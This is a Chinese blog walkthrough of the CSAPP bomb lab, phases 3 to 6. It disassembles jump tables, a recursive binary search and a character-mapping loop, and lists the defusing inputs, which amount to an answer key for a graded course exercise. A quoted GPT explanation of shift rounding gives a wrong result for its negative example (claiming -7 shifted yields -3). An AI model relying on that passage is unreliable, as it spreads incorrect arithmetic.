&lt;p&gt;放眼一看，全是跳转指令,并且跳转到结束后到同一地址，基本可以确定是 [switch] 语句格式，可以参考书p159~162的内容，以及注意到 [callq] 调用的是 [__isoc99_sscanf@plt]，这里说明调用了c标准库中的 [sscanf] 函数，并且是动态链接方式。看到前两行的 [mov]，注意到0x4025cf的值传递给了 [eax]，运行时 x/s 查看可发现，存储的是&quot;%d,%d&quot;，所以读入的是两个 int 型的数。这里 [eax] 设为 &lt;code&gt;0&lt;/code&gt; 可能意味着 &lt;strong&gt;没有使用 SSE 浮点参数&lt;/strong&gt;，即 [sscanf] 只处理整数/字符类型。弄清楚上面发生的事后，我们看下面跳转指令的执行逻辑。&lt;/p&gt;
&lt;p&gt;先随便输入一组数据 (1,2)，发现在 [eax] 中存储返回值 0x2，代表我们输入了两个参数。满足 [jg] 跳转指令后开始运行。这下回头看开头的 %rcx 与 %rdx，即存储了我们输入的值。&lt;/p&gt;
&lt;p&gt;这也对应了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;在 x86-64 ABI 调用惯例中，函数的参数存放在以下寄存器中：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;%rdi&lt;/code&gt; - &lt;code&gt;sscanf&lt;/code&gt; 的第一个参数（字符串输入）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rsi&lt;/code&gt; - &lt;code&gt;sscanf&lt;/code&gt; 的第二个参数（格式化字符串）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rdx&lt;/code&gt; - &lt;code&gt;sscanf&lt;/code&gt; 的第三个参数（第一个输入变量的地址）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%rcx&lt;/code&gt; - &lt;code&gt;sscanf&lt;/code&gt; 的第四个参数（第二个输入变量的地址）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;接下来开始跳转，第一条 [ja] 指令（这里是比较无符号数的），这里是比较 [rdx] 中存储的第一个参数与7的大小，相当于我们的第一个参数必须在 0~7 之间才会继续跳转，否则跳转到 400fad 引起爆炸，而之后的 [mov] 将 [rdx] 中的值赋给 [eax]。&lt;/p&gt;
&lt;p&gt;接下来的 [jmpq] 充当了 [switch] 选择的角色，根据 [eax] 中存储的值决定跳转的目标。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;值得注意的是，0x402470存储的是跳转表的基地址，而eax * 8取偏移量相当于在表中选择位置，这里的 * 则取出了跳转表中的地址&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;而对应的 case 可以转化为下表：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意，这玩意儿不要想当然的0就对应第一个jump，1就对应第二个&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;实际上用 x/16a 打印出来的表长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;0x402470:       0x400f7c &amp;#x3C;phase_3+57&gt;   0x400fb9 &amp;#x3C;phase_3+118&gt;
0x402480:       0x400f83 &amp;#x3C;phase_3+64&gt;   0x400f8a &amp;#x3C;phase_3+71&gt;
0x402490:       0x400f91 &amp;#x3C;phase_3+78&gt;   0x400f98 &amp;#x3C;phase_3+85&gt;
0x4024a0:       0x400f9f &amp;#x3C;phase_3+92&gt;   0x400fa6 &amp;#x3C;phase_3+99&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;eax	跳转地址	赋值        对应十进制
0	400f7c	eax = 0xcf       207
1	400fb9	eax = 0x137      311
2	400f83	eax = 0x2c3      707
3	400f8a	eax = 0x100      256     
4	400f91	eax = 0x185      389
5	400f98	eax = 0xce       206
6	400f9f	eax = 0x2aa      682
7	400fa6	eax = 0x147      327
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而最后的 [cmp] 则是比较我们经过 [switch] 后得到的 [eax] 与我们输入的第二个参数是否相等，相等即满足，开始收拾&quot;残局&quot;。所以我们可以得到 7 组答案。&lt;/p&gt;
&lt;p&gt;即：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 207
1 311
2 707
3 256
4 389
5 206
6 682
7 327
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;又到了我最喜欢的 [ida] 反汇编环节，让我们打开然后反汇编一看。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab4.png&quot; alt=&quot;秒了（&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逻辑十分清晰，非常清楚的列出来根据第一个参数选择，然后返回对应值，甚至把对应10进制也计算了出来...从这里我们可以看出，在最开始输入 [sscanf] 函数时，我们可以输入多个参数，但最终生效的也只有前两个。所以 sscanf 函数给了我们的Dr.Evil博士可乘之机。&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Phase 4：&lt;/h1&gt;
&lt;p&gt;phase 3 与 4 之间夹杂了一个 func4 段，由于暂时不知道这是干嘛的，&lt;s&gt;也懒得研究&lt;/s&gt;，我们先略过直接研究phase 4。&lt;/p&gt;
&lt;h4&gt;直接汇编硬怼：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/phase4.png&quot; alt=&quot;phase 4&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现 phase 4 与 phase 3 前面部分近乎一模一样，那我们可以直接跳过前面的调用分析，很快锁定我们需要输入（%d,%d)，毕竟调用的位置都是相同的0x4025cf...接下来看函数逻辑部分。&lt;/p&gt;
&lt;p&gt;先将我们输入的两个值传入 [sscanf] 将返回的值存储 [eax] 中，如果参数的个数不为2则直接引爆炸弹。在此之后比较第一个参数与 14 的大小，如果参数小于等于 14 则跳转到 40103a 的赋值语句上，否则引爆炸弹。&lt;/p&gt;
&lt;p&gt;将 [edx] 赋值为14，[esi] 赋值为0，同时将我们输入的第一个参数的值赋给 [edi]。然后就开始调用我们神秘的 [func 4] 函数了。在这之后就是检验 [func 4] 返回的  [eax] 是否为0。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;test %eax, %eax 是一种常见的位运算指令，它的作用是检查 eax 的值是否为 0 ，但不会改变 eax 的值。而跳转指令，像类似 [jne] （Jump if Not Equal / Zero Flag 未置位） 这种，本质上比较的是标志位上的值，这里 [eax] 为0的话，ZF 便会置1，从而接着进行比较，否则爆炸&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;了解了这些，我们就可以看看 [func4] 到底是想干嘛了。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;#将调用前做的准备工作也放到这里面来一起看，这三个寄存器大概率就是我们将传入func4函数中的参数
  40103a:	ba 0e 00 00 00       	mov    $0xe,%edx
  40103f:	be 00 00 00 00       	mov    $0x0,%esi
  401044:	8b 7c 24 08          	mov    0x8(%rsp),%edi
0000000000400fce &amp;#x3C;func4&gt;:
  400fce:	48 83 ec 08          	sub    $0x8,%rsp   #分配8字节空间
  400fd2:	89 d0                	mov    %edx,%eax   #eax = edx
  400fd4:	29 f0                	sub    %esi,%eax   #eax = eax - esi
  400fd6:	89 c1                	mov    %eax,%ecx   #ecx = eax 
  400fd8:	c1 e9 1f             	shr    $0x1f,%ecx  
  400fdb:	01 c8                	add    %ecx,%eax   #eax = eax + ecx,修正
  400fdd:	d1 f8                	sar    %eax        #配合修正
  400fdf:	8d 0c 30             	lea    (%rax,%rsi,1),%ecx #二分区间
  400fe2:	39 f9                	cmp    %edi,%ecx   #比较
  400fe4:	7e 0c                	jle    400ff2 &amp;#x3C;func4+0x24&gt;
  400fe6:	8d 51 ff             	lea    -0x1(%rcx),%edx
  400fe9:	e8 e0 ff ff ff       	callq  400fce &amp;#x3C;func4&gt;  #递归
  400fee:	01 c0                	add    %eax,%eax
  400ff0:	eb 15                	jmp    401007 &amp;#x3C;func4+0x39&gt;
  400ff2:	b8 00 00 00 00       	mov    $0x0,%eax
  400ff7:	39 f9                	cmp    %edi,%ecx
  400ff9:	7d 0c                	jge    401007 &amp;#x3C;func4+0x39&gt;
  400ffb:	8d 71 01             	lea    0x1(%rcx),%esi
  400ffe:	e8 cb ff ff ff       	callq  400fce &amp;#x3C;func4&gt;  #递归
  401003:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401007:	48 83 c4 08          	add    $0x8,%rsp   #还原栈
  40100b:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让人感到困惑的是 shr 等指令是在干什么。我们将前半截详细分解下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;400fd2:  89 d0              mov    %edx, %eax   # eax = edx
400fd4:  29 f0              sub    %esi, %eax   # eax = edx - esi
400fd6:  89 c1              mov    %eax, %ecx   # ecx = eax
400fd8:  c1 e9 1f           shr    $0x1f, %ecx  # ecx = eax &gt;&gt; 31 (提取符号)
400fdb:  01 c8              add    %ecx, %eax   # eax = eax + ecx
400fdd:  d1 f8              sar    %eax         # eax = eax / 2 (算术右移)
400fdf:  8d 0c 30           lea    (%rax,%rsi,1), %ecx # ecx = eax + esi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取符号位那里在 &lt;a href=&quot;https://cry4o4n0tfound.cn/2025/01/18/Csapp/&quot;&gt;datalab&lt;/a&gt; 中也有比较多的运用。那么我们是在干吗呢，注意到 [eax] 现在是 [(edx-esi)/2]，所以 [ecx = (edx + esi)/2] (其实这里应该还要看正负值，因为ecx在这里可能为1或0，这里就涉及到了二分算法中的取整)，所以我们似乎是在二分，看到下面的递归更加坚信了这个判断。&lt;/p&gt;
&lt;p&gt;我们先来看看为什么这里能修正，这里我用了 gpt 给出的解释和示例，相当于复习了一遍二分。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;为什么 +1 能修正？
主要目标
该操作的目的是 为了在除以 2 之前，对负数进行向上取整的修正。因为 算术右移 (SAR) 在处理负数时，会向下取整，但我们希望的是 向零取整（或更接近实际数学意义上的 floor((a - b) / 2)）。
例子分析
(1) 正数情况
假设 eax = 6，esi = 2，edx = 10：
eax = edx - esi = 10 - 2 = 8
shr $0x1f, %ecx  →  ecx = 0  (因为 8 的符号位是 0)
eax = eax + ecx  →  eax = 8 + 0 = 8
sar %eax         →  eax = 8 / 2 = 4  (正常除法)
没问题，正确得到 (10 - 2) / 2 = 4。
(2) 负数情况
假设 eax = -7，esi = 10，edx = 3：
eax = edx - esi = 3 - 10 = -7
shr $0x1f, %ecx  →  ecx = 1  (因为 -7 的符号位是 1)
eax = eax + ecx  →  eax = -7 + 1 = -6
sar %eax         →  eax = -6 / 2 = -3  (向下取整)
正确得到 (3 - 10) / 2 = -3（向零取整）。
(3) 负数但偶数
假设 eax = -8：
eax = -8
shr $0x1f, %ecx  →  ecx = 1
eax = eax + ecx  →  eax = -8 + 1 = -7
sar %eax         →  eax = -7 / 2 = -3
此时，(-8 / 2 = -4)，但 -7 / 2 = -3，这个调整稍微向上取整了，让结果更接近数学上 (a - b) / 2。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么确定好区间后，二分的下一步显然是比较与目的值的大小，然后重新确定区间的端点值，接下来就是分析汇编是如何实现该思路的。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  400fe2:	39 f9                	cmp    %edi,%ecx
  400fe4:	7e 0c                	jle    400ff2 &amp;#x3C;func4+0x24&gt;
  400fe6:	8d 51 ff             	lea    -0x1(%rcx),%edx
  400fe9:	e8 e0 ff ff ff       	callq  400fce &amp;#x3C;func4&gt;
  400fee:	01 c0                	add    %eax,%eax
  400ff0:	eb 15                	jmp    401007 &amp;#x3C;func4+0x39&gt;
  400ff2:	b8 00 00 00 00       	mov    $0x0,%eax
  400ff7:	39 f9                	cmp    %edi,%ecx
  400ff9:	7d 0c                	jge    401007 &amp;#x3C;func4+0x39&gt;
  400ffb:	8d 71 01             	lea    0x1(%rcx),%esi
  400ffe:	e8 cb ff ff ff       	callq  400fce &amp;#x3C;func4&gt;
  401003:	8d 44 00 01          	lea    0x1(%rax,%rax,1),%eax
  401007:	48 83 c4 08          	add    $0x8,%rsp
  40100b:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据二分模型，我们可以根据上面分析的内容确定 [edx] 存储右端点，而 [esi] 存you储左端点，这里的 [cmp] 比较 [edi] 与[ecx] 的大小，显然，当前的 [ecx] 存储的就是区间的中点值，经过比较后，如果 [ecx] 小于等于 [edi]则跳转到 400ff2 而 400ff2 下面的 [cmp] 则根据 [ecx] 如果大于等于 [edi]则跳转到还原栈指针阶段。显然只有当  [ecx] = [edi] 才会到 401007。这里是结束的逻辑。&lt;/p&gt;
&lt;p&gt;那么如果不满足小于等于的话，我们回到 400fe6 这行，会发现 [edx] 也就是我们的右端点，会加载成当前的 [rcx-1] 也就是 [中点 - 1] 的值。同理，位于 400ffb 这行的则是则是将左端点 [esi] 加载成 [中点+1]。至此我们理清了二分的逻辑。&lt;/p&gt;
&lt;p&gt;所以 [func4] 函数是让我们在 0~14 这个区间内查找 [rdx]，即我们输入的第一个参数。那我们输入的第二个参数在哪里呢。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  40104d:	85 c0                	test   %eax,%eax
  40104f:	75 07                	jne    401058 &amp;#x3C;phase_4+0x4c&gt;
  401051:	83 7c 24 0c 00       	cmpl   $0x0,0xc(%rsp)
  401056:	74 05                	je     40105d &amp;#x3C;phase_4+0x51&gt;
  401058:	e8 dd 03 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  40105d:	48 83 c4 18          	add    $0x18,%rsp
  401061:	c3                   	retq   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到最后还存在一个比较 [cmpl] 是 0 与 0xc(%rsp)的比较。而0xc(%rsp) 在这之前并没有参与过其余运算，所以我们的第二个参数需要保证为 0。&lt;/p&gt;
&lt;p&gt;而第一个参数必须得满足在递归中能使返回的 [eax] 为 0。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  40104d:	85 c0                	test   %eax,%eax
  40104f:	75 07                	jne    401058 &amp;#x3C;phase_4+0x4c&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而根据 [func4] 函数的逻辑，查找的值在：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果输入值小于当前中间点 ecx&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;递归搜索左半区间 [esi, ecx-1]，返回 0。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果输入值大于当前中间点 ecx&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;递归搜索右半区间 [ecx+1, edx]，并返回 2*递归返回值 + 1。&lt;/p&gt;
&lt;p&gt;故我们所以可行的答案为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 0
1 0
3 0
7 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而phase_4函数本身实现的是二叉搜索树的功能，左0右1将树的路径转化为了二进制表达。&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;p&gt;我们注意 eax的计算：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;左子树返回 0&lt;/strong&gt;，不会修改 eax&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;右子树返回 2 * eax + 1&lt;/strong&gt;，不断累加&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这等价于&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;把左子树看成 0&lt;/li&gt;
&lt;li&gt;把右子树看成 1&lt;/li&gt;
&lt;li&gt;递归过程中，我们构造出一条 &lt;strong&gt;从根节点到 &lt;code&gt;edi&lt;/code&gt; 的路径&lt;/strong&gt;，并把它&lt;strong&gt;转化为一个二进制数&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们假设 func4(6, 0, 14)`：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-md&quot;&gt;               7
          /         \
        3             11
      /   \         /    \
     1     5      9      13
    / \   / \    / \    /  \
   0   2 4   6 8   10 12   14
如果给二叉树加上对应返回的编号
               (0)
          /          \
       (0)            (1)
      /   \         /    \
    (0)    (1)    (2)    (3)
   /  \    /  \   /  \   /  \
 (0)  (1)(2)  (3)(4) (5)(6) (7)

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab5.png&quot; alt=&quot;显而易见的递归逻辑&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于我们的 [eax] 在一开始赋值为0，从而给整体的递归都定了调。&lt;/p&gt;
&lt;h1&gt;Phase 5:&lt;/h1&gt;
&lt;h4&gt;直接汇编硬怼：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/phase5.png&quot; alt=&quot;phase5&quot;&gt;&lt;/p&gt;
&lt;p&gt;前面的 [push] 以及对于 [rbp] 和 [rsp] 的调用，与phase2很类似，可能是要开始一个循环，而接下来的两行 [mov] 则分别将 [rdi] 中的值赋给 [rbx]，这是基底指针最开始的指向，而后的 [fs 0x28] 赋值到[rax] 则是 &lt;strong&gt;Canary&lt;/strong&gt; 值，用来防止栈溢出攻击（想起了新生赛中的pwn题，最后一道就和猜测 Canary 值有关)。函数尾调用的 [_stack_chk_fail@plt] 函数也是检验是否存在栈溢出攻击的，通过比较栈上存储的Canary值是否发生改动，不过这些都与本题无关，而后的 [xor] 则是清 0 [eax] 便于之后的计算。&lt;/p&gt;
&lt;p&gt;让我们先看比较特殊的函数，&amp;#x3C;strings_length&gt; 和 &amp;#x3C;strings_not_equal&gt;，所以大概率我们需要输入一个字符串，先输入一个 test，读取下对应寄存器的值，看看发生了什么变化。&lt;/p&gt;
&lt;p&gt;发现 [rdi] 中存储了我们的值，说明当前大概率只有我们输入的这个 test 参数：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/s $rdi
0x6038c0 &amp;#x3C;input_strings+320&gt;:   &quot;test&quot; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 [cmp] 函数与返回的 [eax] 中的值做比较，不相等则爆炸。检查后发现在输入 test 的情况下返回值为4，所以这个函数人如其名，就是个检验长度的值，让我们输入另一组 crycry 来继续测试。&lt;/p&gt;
&lt;p&gt;在 crycry 的情况下，我们会跳转到：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;40108b &amp;#x3C;phase_5+41&gt;   movzbl (%rbx,%rax,1),%ecx     #读取了一字节&apos;c&apos;进ecx
40108f:	88 0c 24             	mov    %cl,(%rsp)   #将ecx赋值给(rsp)指向位置
401092:	48 8b 14 24          	mov    (%rsp),%rdx  #rsp再赋值给rdx
401096:	83 e2 0f             	and    $0xf,%edx    #与0xf做and运算依旧为本身
#在gdb中检查当前edx的值
#(gdb) p $edx
#$1 = 99
#99是ASCII码中c对应的值
 401099:	0f b6 92 b0 24 40 00 	movzbl 0x4024b0(%rdx),%edx
 4010a0:	88 54 04 10          	mov    %dl,0x10(%rsp,%rax,1)
 4010a4:	48 83 c0 01          	add    $0x1,%rax
 4010a8:	48 83 f8 06          	cmp    $0x6,%rax
 4010ac:	75 dd                	jne    40108b &amp;#x3C;phase_5+0x29&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现跳转到的这个地方正好是一个循环，在 [rax] 不等于 6 之前会一直运行下去，而中间的逻辑则是将 crycry 做一个字符串变换。&lt;strong&gt;变换的逻辑是将位于 0x4024b0 + [%rdx]偏移量的值赋给当前对应索引的数组。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[rbx] 作为数组的基地址，每次运行就将对应索引的值赋给 [ecx] ，我们看一看 [rbx] 中存储的是什么，同时看一下 0x4024b0 处取的偏移字符串是什么。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/s $rbx
0x6038c0 &amp;#x3C;input_strings+320&gt;:   &quot;crycry&quot;
(gdb) x/s 0x4024b0
0x4024b0 &amp;#x3C;array.3449&gt;:  &quot;maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这里的 [maduiersnfotvbyl] 恰好16个字符，正好对应了位于 401096 处的 and 操作，由于 char 类型为1字节占8位，而与 0xf 做 and 操作的话会将 char 的高四位清零，从而低4位恰好可以用作索引来选择 [maduiersnfotvbyl] 中的字符来完成我们下述的 strings_not_ equal 工作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;转换成 cpp 的话大概是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;for(int rax=0; rax&amp;#x3C;6; rax++){
    ecx = array[rax];
    //中间最重要的过程是 and 0xf %edx
    //在这里我们将edx的高四位清 0 了
    array[rax] = [edx] + 0x4024b0 ;//需要注意的是这里是[edx]是取的内存中的值
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而后续几行的汇编内容则是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;  4010ae:	c6 44 24 16 00       	movb   $0x0,0x16(%rsp)
  4010b3:	be 5e 24 40 00       	mov    $0x40245e,%esi
  4010b8:	48 8d 7c 24 10       	lea    0x10(%rsp),%rdi
  4010bd:	e8 76 02 00 00       	callq  401338 &amp;#x3C;strings_not_equal&gt;
  4010c2:	85 c0                	test   %eax,%eax
  4010c4:	74 13                	je     4010d9 &amp;#x3C;phase_5+0x77&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;[movb] 将 0x16(%rsp) 处赋值为 0，事实上这里是我们 array数组的末端。然后将 0x40245e 处的值赋给 esi，同样的，下面将 0x10(%rsp) 的值赋给 [rdi] ，很明显，[rdi] 和 [rsi] 通常在函数调用中作为第一和第二个参数，下面的 [strings_not_equal] 函数就是在比较这两个寄存器的内容，也是该 phase 的核心比较，再往下的汇编指令就是不重要的收尾工作了。&lt;/p&gt;
&lt;p&gt;那么我们查看 401338 处存储的字符串。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;(gdb) x/s 0x40245e
0x40245e:       &quot;flyers&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;答案呼之欲出，相当于我们输入的字符串经过循环中的变换后要得到 &quot;flyers&quot;。那么我们只需要将过程逆转，即可得到需要输入的字符串。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们先将我们需要选择的字符对应索引列出来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[maduiersnfotvbyl]&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;字符  索引   对应二进制
f     9      1001
l     15     1111
y     14     1110
e     5      0101
r     6      0110
s     7      0111
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这里我们需要一张ASCII码表来做解码工作：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab6.png&quot; alt=&quot;ASCII&quot;&gt;&lt;/p&gt;
&lt;p&gt;所以我们需要选取后四位分别对应: [1001]  [1111]  [1110]  [0101]  [0110]  [0111] 的字符。&lt;/p&gt;
&lt;p&gt;选取出来的字符均可成为答案：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;) I i 9 Y y
/ O o ? _
. N n &gt; ^ ~
% E e 5 U u
&amp;#x26; F f 6 V v
&apos; G g 7 W w
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;理论上答案可以取上述对应各行任意字符组合，不过我只尝试了大小写两种对应，其余要是错了本人概不负责😎。&lt;/p&gt;
&lt;h4&gt;ida：&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/bomblab7.png&quot; alt=&quot;ida&quot;&gt;&lt;/p&gt;
&lt;p&gt;唯一需要看懂的可能就是10行的赋值语句。&lt;/p&gt;
&lt;p&gt;(byte *) (a1+i) 对应了选取指向我们输入的字符串的一字节指针。外面再加上 * 代表取出所需字符，然后再与 0xF 进行按位与操作。&lt;/p&gt;
&lt;h1&gt;Phase 6：&lt;/h1&gt;
&lt;h4&gt;直接汇编硬怼：&lt;/h4&gt;
&lt;p&gt;phase6长的令人发指😥，就不截取长图了伤害大家的眼睛了，让我们直接看清楚明了的代码块汇编（&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00000000004010f4 &amp;#x3C;phase_6&gt;:
  4010f4:	41 56                	push   %r14
  4010f6:	41 55                	push   %r13
  4010f8:	41 54                	push   %r12
  4010fa:	55                   	push   %rbp
  4010fb:	53                   	push   %rbx
  4010fc:	48 83 ec 50          	sub    $0x50,%rsp
  401100:	49 89 e5             	mov    %rsp,%r13
  401103:	48 89 e6             	mov    %rsp,%rsi
  401106:	e8 51 03 00 00       	callq  40145c &amp;#x3C;read_six_numbers&gt;
  40110b:	49 89 e6             	mov    %rsp,%r14
  40110e:	41 bc 00 00 00 00    	mov    $0x0,%r12d
  401114:	4c 89 ed             	mov    %r13,%rbp
  401117:	41 8b 45 00          	mov    0x0(%r13),%eax
  40111b:	83 e8 01             	sub    $0x1,%eax
  40111e:	83 f8 05             	cmp    $0x5,%eax
  401121:	76 05                	jbe    401128 &amp;#x3C;phase_6+0x34&gt;
  401123:	e8 12 03 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401128:	41 83 c4 01          	add    $0x1,%r12d
  40112c:	41 83 fc 06          	cmp    $0x6,%r12d
  401130:	74 21                	je     401153 &amp;#x3C;phase_6+0x5f&gt;
  401132:	44 89 e3             	mov    %r12d,%ebx
  401135:	48 63 c3             	movslq %ebx,%rax
  401138:	8b 04 84             	mov    (%rsp,%rax,4),%eax
  40113b:	39 45 00             	cmp    %eax,0x0(%rbp)
  40113e:	75 05                	jne    401145 &amp;#x3C;phase_6+0x51&gt;
  401140:	e8 f5 02 00 00       	callq  40143a &amp;#x3C;explode_bomb&gt;
  401145:	83 c3 01             	add    $0x1,%ebx
  401148:	83 fb 05             	cmp    $0x5,%ebx
  40114b:	7e e8                	jle    401135 &amp;#x3C;phase_6+0x41&gt;
  40114d:	49 83 c5 04          	add    $0x4,%r13
  401151:	eb c1                	jmp    401114 &amp;#x3C;phase_6+0x20&gt;
  401153:	48 8d 74 24 18       	lea    0x18(%rsp),%rsi
  401158:	4c 89 f0             	mov    %r14,%rax
  40115b:	b9 07 00 00 00       	mov    $0x7,%ecx
  401160:	89 ca                	mov    %ecx,%edx
  401162:	2b 10                	sub    (%rax),%edx
  401164:	89 10                	mov    %edx,(%rax)
  401166:	48 83 c0 04          	add    $0x4,%rax
  40116a:	48 39 f0             	cmp    %rsi,%rax
  40116d:	75 f1                	jne    401160 &amp;#x3C;phase_6+0x6c&gt;
  40116f:	be 00 00 00 00       	mov    $0x0,%esi
  401174:	eb 21                	jmp    401197 &amp;#x3C;phase_6+0xa3&gt;
  401176:	48 8b 52 08          	mov    0x8(%rdx),%rdx
  40117a:	83 c0 01             	add    $0x1,%eax
  40117d:	39 c8                	cmp    %ecx,%eax
  40117f:	75 f5                	jne    401176 &amp;#x3C;phase_6+0x82&gt;
  401181:	eb 05                	jmp    401188 &amp;#x3C;phase_6+0x94&gt;
  401183:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  401188:	48 89 54 74 20       	mov    %rdx,0x20(%rsp,%rsi,2)
  40118d:	48 83 c6 04          	add    $0x4,%rsi
  401191:	48 83 fe 18          	cmp    $0x18,%rsi
  401195:	74 14                	je     4011ab &amp;#x3C;phase_6+0xb7&gt;
  401197:	8b 0c 34             	mov    (%rsp,%rsi,1),%ecx
  40119a:	83 f9 01             	cmp    $0x1,%ecx
  40119d:	7e e4                	jle    401183 &amp;#x3C;phase_6+0x8f&gt;
  40119f:	b8 01 00 00 00       	mov    $0x1,%eax
  4011a4:	ba d0 32 60 00       	mov    $0x6032d0,%edx
  4011a9:	eb cb                	jmp    401176 &amp;#x3C;phase_6+0x82&gt;
  4011ab:	48 8b 5c 24 20       	mov    0x20(%rsp),%rbx
  4011b0:	48 8d 44 24 28       	lea    0x28(%rsp),%rax
  4011b5:	48 8d 74 24 50       	lea    0x50(%rsp),%rsi
  4011ba:	48 89 d9             	mov    %rbx,%rcx
  4011bd:	48 8b 10             	mov    (%rax),%rdx
  4011c0:	48 89 51 08          	mov    %rdx,0x8(%rcx)
  4011c4:	48 83 c0 08          	add    $0x8,%rax
  4011c8:	48 39 f0             	cmp    %rsi,%rax
  4011cb:	74 05                	je     4011d2 &amp;#x3C;phase_6+0xde&gt;
  4011cd:	48 89 d1             	mov    %rdx,%rcx
  4011d0:	eb eb                	jmp    4011bd &amp;#x3C;phase_6+0xc9&gt;
  4011d2:	48 c7 42 08 00 00 00 	movq   $0x0,0x8(%rdx)
  4011d9:	00 
  4011da:	bd 05 00 00 00       	mov    $0x5,%ebp
  4011df:	48 8b 43 08          	mov    0x8(%rbx),%rax
  4011e3:	8b 00                	mov    (%rax),%eax
  4011e5:	39 03                	cmp    %eax,(%rbx)
